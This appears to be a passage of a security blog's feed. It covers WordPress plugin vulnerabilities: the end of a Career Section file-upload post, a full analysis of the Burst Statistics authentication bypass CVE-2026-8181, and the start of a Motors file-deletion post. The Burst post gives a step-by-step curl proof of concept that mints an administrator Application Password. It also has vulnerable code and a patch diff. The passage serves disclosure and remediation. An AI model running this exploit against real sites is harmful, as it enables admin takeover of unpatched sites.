&lt;p&gt;Yes. The fix addresses the root cause (missing file type validation) and adds three additional layers of defense. The combination of content-based MIME validation, random filenames, &lt;code&gt;.htaccess&lt;/code&gt; blocking, and an authenticated download endpoint makes this exploitation path effectively closed.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publishes the advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Version 1.8 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the Career Section plugin to version &lt;strong&gt;1.8 or later&lt;/strong&gt;. Log in to your WordPress admin, go to &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt;, find Career Section, and click &lt;strong&gt;Update Now&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deactivate the plugin until you can update&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;wp-content/uploads/cs_applicant_submission_files/&lt;/code&gt; for any &lt;code&gt;.php&lt;/code&gt; or other executable files and remove them&lt;/li&gt;
&lt;li&gt;Add a &lt;code&gt;.htaccess&lt;/code&gt; file to that directory with the following content to block PHP execution:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;php_flag engine off
&amp;lt;FilesMatch &quot;\.php$&quot;&amp;gt;
    Deny from all
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/career-section/career-section-17-unauthenticated-arbitrary-file-upload&quot;&gt;Wordfence Advisory — CVE-2026-6271&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/career-section/&quot;&gt;Career Section on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6271&quot;&gt;CVE-2026-6271 on MITRE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3507917/career-section&quot;&gt;Changeset 3507917 — patch commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3507912/career-section&quot;&gt;Changeset 3507912 — patch commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3507785/career-section&quot;&gt;Changeset 3507785 — patch commit&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-14T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-8181: Auth Bypass to Admin Takeover in Burst Statistics Plugin (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-8181-burst-statistics-auth-bypass-admin-takeover/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-8181-burst-statistics-auth-bypass-admin-takeover/</guid><description>CVE-2026-8181 is a CVSS 9.8 Critical authentication bypass in Burst Statistics 3.4.0–3.4.1.1. An unauthenticated attacker with any admin username can mint a WordPress Application Password and take over the admin account.</description><pubDate>Wed, 13 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-8181&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 (Critical)&lt;/strong&gt; Authentication Bypass vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/burst-statistics/&quot;&gt;Burst Statistics&lt;/a&gt; WordPress plugin. An unauthenticated attacker who knows any administrator username can send a single HTTP request to obtain a WordPress Application Password for that account, achieving full admin takeover.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Burst Statistics – Privacy-Friendly WordPress Analytics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;burst-statistics&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8181&quot;&gt;CVE-2026-8181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authentication Bypass (Improper Authentication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/burst-statistics.3.4.1.1.zip&quot;&gt;&amp;lt;= 3.4.1.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/burst-statistics.3.4.2.zip&quot;&gt;3.4.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland&quot;&gt;Chloe Chamberland - Wordfence PRISM&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Burst Statistics plugin is vulnerable to Authentication Bypass in versions 3.4.0 to 3.4.1.1. The flaw is in the &lt;code&gt;is_mainwp_authenticated()&lt;/code&gt; function inside &lt;code&gt;class-mainwp-proxy.php&lt;/code&gt;. This function validates application passwords from the &lt;code&gt;Authorization&lt;/code&gt; HTTP header.&lt;/p&gt;
&lt;p&gt;The function calls &lt;code&gt;wp_authenticate_application_password()&lt;/code&gt; and only checks whether the result is a &lt;code&gt;WP_Error&lt;/code&gt;. It does not check whether the result is actually a successful &lt;code&gt;WP_User&lt;/code&gt; object. When WordPress&apos;s internal filter &lt;code&gt;application_password_is_api_request&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt; — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns &lt;code&gt;null&lt;/code&gt; instead of a &lt;code&gt;WP_Error&lt;/code&gt;. Because &lt;code&gt;null&lt;/code&gt; is not a &lt;code&gt;WP_Error&lt;/code&gt;, the check passes. The attacker&apos;s chosen admin user is then set as the current user via &lt;code&gt;wp_set_current_user()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once the current user is switched to an administrator, subsequent capability checks pass. An attacker can then reach the &lt;code&gt;/burst/v1/mainwp-auth&lt;/code&gt; endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent admin-level access to the entire WordPress site.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Plugin Initialization and the Vulnerable Gate&lt;/h3&gt;
&lt;p&gt;Burst Statistics initializes during WordPress&apos;s &lt;code&gt;plugins_loaded&lt;/code&gt; hook at priority 9, inside &lt;code&gt;class-burst.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-burst.php, line 118
if ( $this-&amp;gt;has_admin_access() ) {
    $this-&amp;gt;admin = new Admin();
    $this-&amp;gt;admin-&amp;gt;init();
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;has_admin_access()&lt;/code&gt; is the gatekeeper for all admin functionality. It runs before REST API authentication completes. The function checks for the &lt;code&gt;X-BurstMainWP&lt;/code&gt; header and calls into the vulnerable function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER[&apos;HTTP_X_BURSTMAINWP&apos;] ) &amp;amp;&amp;amp; $_SERVER[&apos;HTTP_X_BURSTMAINWP&apos;] === &apos;1&apos; ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy-&amp;gt;is_mainwp_authenticated() ) {
        return burst_loader()-&amp;gt;has_admin_access = true;
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Vulnerable Function: &lt;code&gt;is_mainwp_authenticated()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The flaw is in &lt;code&gt;class-mainwp-proxy.php&lt;/code&gt;, lines 313–342:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash(
        $_SERVER[&apos;HTTP_AUTHORIZATION&apos;] ?? $_SERVER[&apos;REDIRECT_HTTP_AUTHORIZATION&apos;] ?? &apos;&apos;
    ));

    if ( ! empty( $auth_header ) &amp;amp;&amp;amp; stripos( $auth_header, &apos;basic &apos; ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        ...
        $username = $parts[0];
        $password = $parts[1];

        // ← VULNERABLE: returns null when not in REST API auth context
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // ← FLAW: null is not a WP_Error, so this check passes!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( &apos;login&apos;, $username );
        if ( ! $user || ! user_can( $user, &apos;manage_burst_statistics&apos; ) ) {
            return false;
        }

        // ← Admin user set as current user for the rest of the request!
        wp_set_current_user( $user-&amp;gt;ID );
        return true;
    }

    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why &lt;code&gt;wp_authenticate_application_password()&lt;/code&gt; Returns &lt;code&gt;null&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;WordPress&apos;s &lt;code&gt;wp_authenticate_application_password()&lt;/code&gt; function uses the &lt;code&gt;application_password_is_api_request&lt;/code&gt; filter to decide whether the current request should be treated as an API request. When this filter returns &lt;code&gt;false&lt;/code&gt;, the function returns its first argument unchanged — which is &lt;code&gt;null&lt;/code&gt; in this call.&lt;/p&gt;
&lt;p&gt;This filter returns &lt;code&gt;false&lt;/code&gt; when called outside of the standard WordPress REST API authentication flow. Because Burst calls this function manually during plugin initialization (not as part of the &lt;code&gt;determine_current_user&lt;/code&gt; filter chain), WordPress considers it a non-API context, and the function returns &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The code only uses &lt;code&gt;is_wp_error()&lt;/code&gt; to detect failure. &lt;code&gt;is_wp_error(null)&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, so the attacker bypasses the authentication check entirely.&lt;/p&gt;
&lt;h3&gt;Execution Path to Admin Takeover&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Attacker sends a request with &lt;code&gt;X-BurstMainWP: 1&lt;/code&gt; and &lt;code&gt;Authorization: Basic &amp;lt;base64(admin_username:anything)&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Burst&apos;s &lt;code&gt;has_admin_access()&lt;/code&gt; fires during &lt;code&gt;plugins_loaded&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;is_mainwp_authenticated()&lt;/code&gt; calls &lt;code&gt;wp_authenticate_application_password(null, &apos;admin&apos;, &apos;anything&apos;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;WordPress returns &lt;code&gt;null&lt;/code&gt; (non-API context) — &lt;code&gt;is_wp_error(null)&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get_user_by(&apos;login&apos;, &apos;admin&apos;)&lt;/code&gt; resolves the admin user&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_set_current_user($user-&amp;gt;ID)&lt;/code&gt; switches current user to admin&lt;/li&gt;
&lt;li&gt;&lt;code&gt;has_admin_access()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt; — admin components initialize&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;/burst/v1/mainwp-auth&lt;/code&gt; endpoint becomes reachable&lt;/li&gt;
&lt;li&gt;Its permission callback &lt;code&gt;check_auth_permission()&lt;/code&gt; falls back to &lt;code&gt;current_user_can(&apos;manage_burst_statistics&apos;)&lt;/code&gt; — which is now &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;handle_auth_request()&lt;/code&gt; mints a new Application Password and returns it to the attacker&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is for educational and authorized security testing purposes only. Exploiting vulnerabilities without written permission is illegal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Target WordPress site running Burst Statistics 3.4.0–3.4.1.1&lt;/li&gt;
&lt;li&gt;A known administrator username (often &lt;code&gt;admin&lt;/code&gt;, or discoverable via &lt;code&gt;/wp-json/wp/v2/users&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Discover admin username (if unknown):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://example.com/wp-json/wp/v2/users&quot; | jq &apos;.[].slug&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Exploit the authentication bypass to mint an Application Password:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://example.com&quot;
ADMIN_USER=&quot;admin&quot;
FAKE_PASS=&quot;anything&quot;

curl -s -X POST &quot;${TARGET}/wp-json/burst/v1/mainwp-auth&quot; \
  -H &quot;Authorization: Basic $(echo -n &quot;${ADMIN_USER}:${FAKE_PASS}&quot; | base64)&quot; \
  -H &quot;X-BurstMainWP: 1&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected response (successful exploit):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;token&quot;: &quot;YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=&quot;,
  &quot;root_url&quot;: &quot;https://example.com/wp-json/&quot;,
  &quot;localization_data&quot;: { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;token&lt;/code&gt; field is a Base64-encoded &lt;code&gt;username:application_password&lt;/code&gt; string.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Decode and verify the minted Application Password:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=&quot; | base64 -d
# admin:AbCd 1234 5678 9012 3456 7890
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Use the Application Password for persistent admin access:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Example: list all users as admin
curl -s &quot;https://example.com/wp-json/wp/v2/users&quot; \
  -H &quot;Authorization: Basic YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker now has persistent, credential-based admin access independent of session cookies.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The fix in version 3.4.2 replaces the flawed &lt;code&gt;is_wp_error()&lt;/code&gt; check with a type-strict &lt;code&gt;instanceof WP_User&lt;/code&gt; check. It also forces WordPress to treat the call as an API request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $username = $parts[0];
- $password = $parts[1];
- $is_valid = wp_authenticate_application_password( null, $username, $password );
- if ( is_wp_error( $is_valid ) ) {
-     return false;
- }
- $user = get_user_by( &apos;login&apos;, $username );
- if ( ! $user || ! user_can( $user, &apos;manage_burst_statistics&apos; ) ) {
-     return false;
- }
- wp_set_current_user( $user-&amp;gt;ID );
+ $allow_application_password_request = static function (): bool {
+     return true;
+ };
+ add_filter( &apos;application_password_is_api_request&apos;, $allow_application_password_request, 999 );
+ $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
+ remove_filter( &apos;application_password_is_api_request&apos;, $allow_application_password_request, 999 );
+
+ if ( ! $authenticated_user instanceof \WP_User ) {
+     return false;
+ }
+ if ( ! hash_equals( (string) $authenticated_user-&amp;gt;user_login, $parts[0] ) ) {
+     return false;
+ }
+ if ( ! user_can( $authenticated_user, &apos;manage_burst_statistics&apos; ) ) {
+     return false;
+ }
+ wp_set_current_user( $authenticated_user-&amp;gt;ID );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patch does three things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Forces API context&lt;/strong&gt;: The &lt;code&gt;application_password_is_api_request&lt;/code&gt; filter is forced to &lt;code&gt;true&lt;/code&gt;, making &lt;code&gt;wp_authenticate_application_password()&lt;/code&gt; actually verify the password against stored Application Passwords.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checks for success, not just absence of error&lt;/strong&gt;: &lt;code&gt;instanceof \WP_User&lt;/code&gt; replaces &lt;code&gt;is_wp_error()&lt;/code&gt;. Only a verified user object is accepted.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verifies username integrity&lt;/strong&gt;: A &lt;code&gt;hash_equals()&lt;/code&gt; comparison ensures the returned user&apos;s login matches the supplied username, preventing user confusion attacks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The patch also adds nonce-based replay prevention to the signature verification path and restructures the permission callback for the &lt;code&gt;mainwp-auth&lt;/code&gt; endpoint to be more robust.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update to &lt;strong&gt;Burst Statistics version 3.4.2&lt;/strong&gt; or later immediately. This vulnerability has a CVSS score of 9.8 (Critical) and Wordfence reported over 5,900 attacks targeting it in a single 24-hour window.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Deactivate the plugin until you can update&lt;/li&gt;
&lt;li&gt;Block requests containing the &lt;code&gt;X-BurstMainWP: 1&lt;/code&gt; header at your WAF or web server level&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover&quot;&gt;Wordfence Advisory — CVE-2026-8181&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8181&quot;&gt;CVE Record — CVE-2026-8181&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php#L336&quot;&gt;Vulnerable source — class-mainwp-proxy.php#L336 (tag 3.4.1.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php#L336&quot;&gt;Patched source — class-mainwp-proxy.php#L336 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php#L328&quot;&gt;Vulnerable source — class-mainwp-proxy.php#L328 (tag 3.4.1.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php#L328&quot;&gt;Patched source — class-mainwp-proxy.php#L328 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php#L314&quot;&gt;Vulnerable source — class-mainwp-proxy.php#L314 (tag 3.4.1.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php#L314&quot;&gt;Patched source — class-mainwp-proxy.php#L314 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php#L205&quot;&gt;Vulnerable source — trait-admin-helper.php#L205 (tag 3.4.1.1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Traits/trait-admin-helper.php#L205&quot;&gt;Patched source — trait-admin-helper.php#L205 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Burst-Statistics/burst-statistics/blob/2488d3fa54045e7e5342b0445b9f6b5eaac9ea7c/includes/Frontend/class-mainwp-proxy.php#L385&quot;&gt;GitHub source — class-mainwp-proxy.php#L385&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-13T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3892: Motors Plugin Arbitrary File Deletion (CVSS 8.1)</title><link>https://hurayraiit.com/blog/cve-2026-3892-motors-car-dealer-arbitrary-file-deletion/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3892-motors-car-dealer-arbitrary-file-deletion/</guid><description>CVE-2026-3892 is a CVSS 8.1 High severity arbitrary file deletion vulnerability in the Motors WordPress plugin. Any subscriber can delete critical server files including wp-config.php.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3892&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.1 High&lt;/strong&gt; arbitrary file deletion vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/motors-car-dealership-classified-listings/&quot;&gt;Motors – Car Dealership &amp;amp; Classified Listings Plugin&lt;/a&gt; for WordPress. Any authenticated attacker with at least Subscriber access can set an arbitrary file path in their user profile, then trigger its deletion by uploading a new dealer logo.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Motors – Car Dealership &amp;amp; Classified Listings Plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;motors-car-dealership-classified-listings&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3892&quot;&gt;CVE-2026-3892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authenticated (Subscriber+) Arbitrary File Deletion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/motors-car-dealership-classified-listings.1.4.107.zip&quot;&gt;&amp;lt;= 1.4.107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/motors-car-dealership-classified-listings.1.4.108.zip&quot;&gt;1.4.108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/leonid-semenenko&quot;&gt;Leonid Semenenko (lsemenenko)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motors-car-dealership-classified-listings/motors-car-dealer-classifieds-listing-14107-authenticated-subscriber-arbitrary-file-deletion-via-stm-dealer-logo-path-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Motors plugin is a popular WordPress plugin for car dealership and classified listing sites. It has over 10,000 active installations.&lt;/p&gt;
&lt;p&gt;Versions up to and including 1.4.107 allow any authenticated user to set an arbitrary filesystem path via the profile update handler. When the user uploads a new dealer logo, the plugin deletes the old file using &lt;code&gt;unlink()&lt;/code&gt;. Because there is no check that the stored path points to an image within the uploads directory, an attacker can point it at any file on the server.&lt;/p&gt;
